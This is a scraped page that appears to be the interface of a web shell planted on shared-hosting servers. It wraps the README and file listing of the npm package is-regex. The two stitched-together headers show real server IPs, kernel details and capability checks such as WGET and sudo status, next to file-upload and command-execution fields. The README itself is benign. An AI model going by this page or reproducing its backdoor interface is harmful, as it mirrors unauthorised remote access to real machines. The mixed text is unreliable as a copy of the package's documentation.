Server IP : 192.250.235.76 / Your IP : 45.90.210.12 Linux s2968.sgp1.stableserver.net 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64 8.2.29 NONE ON | WGET : ON | Sudo : OFF | Pkexec : OFF
1902120114081995
Server IP : 198.54.116.172 / Your IP : 216.73.216.36 Linux server322.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 7.4.33 mail ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /lib/node_modules/npm/node_modules/is-regex//README.md
#is-regex <sup>[![Version Badge][2]][1]</sup>
[![Build Status][3]][4]
[![dependency status][5]][6]
[![dev dependency status][7]][8]
[![License][license-image]][license-url]
[![Downloads][downloads-image]][downloads-url]
[![npm badge][11]][1]
[![browser support][9]][10]
Is this value a JS regex?
This module works cross-realm/iframe, and despite ES6 @@toStringTag.
## Example
```js
var isRegex = require('is-regex');
var assert = require('assert');
assert.notOk(isRegex(undefined));
assert.notOk(isRegex(null));
assert.notOk(isRegex(false));
assert.notOk(isRegex(true));
assert.notOk(isRegex(42));
assert.notOk(isRegex('foo'));
assert.notOk(isRegex(function () {}));
assert.notOk(isRegex([]));
assert.notOk(isRegex({}));
assert.ok(isRegex(/a/g));
assert.ok(isRegex(new RegExp('a', 'g')));
```
## Tests
Simply clone the repo, `npm install`, and run `npm test`
[1]: https://npmjs.org/package/is-regex
[2]: http://versionbadg.es/ljharb/is-regex.svg
[3]: https://travis-ci.org/ljharb/is-regex.svg
[4]: https://travis-ci.org/ljharb/is-regex
[5]: https://david-dm.org/ljharb/is-regex.svg
[6]: https://david-dm.org/ljharb/is-regex
[7]: https://david-dm.org/ljharb/is-regex/dev-status.svg
[8]: https://david-dm.org/ljharb/is-regex#info=devDependencies
[9]: https://ci.testling.com/ljharb/is-regex.png
[10]: https://ci.testling.com/ljharb/is-regex
[11]: https://nodei.co/npm/is-regex.png?downloads=true&stars=true
[license-image]: http://img.shields.io/npm/l/is-regex.svg
[license-url]: LICENSE
[downloads-image]: http://img.shields.io/npm/dm/is-regex.svg
[downloads-url]: http://npm-stat.com/charts.html?package=is-regex
Name Size Last Modified Owner / Group Permissions Options
.. -- March 03 2024 22:36:29 root / root 0755 .jscs.json 4.043 KB March 10 2021 14:36:37 root / root 0644 .npmignore 0.095 KB March 10 2021 14:36:37 root / root 0644 .travis.yml 4.658 KB March 10 2021 14:36:37 root / root 0644 CHANGELOG.md 1.083 KB March 10 2021 14:36:37 root / root 0644 LICENSE 1.056 KB March 10 2021 14:36:37 root / root 0644 Makefile 3.744 KB March 10 2021 14:36:37 root / root 0644 README.md 1.586 KB March 10 2021 14:36:37 root / root 0644 index.js 0.896 KB March 10 2021 14:36:37 root / root 0644 package.json 1.786 KB March 10 2021 14:36:37 root / root 0644 test.js 1.759 KB March 10 2021 14:36:37 root / root 0644
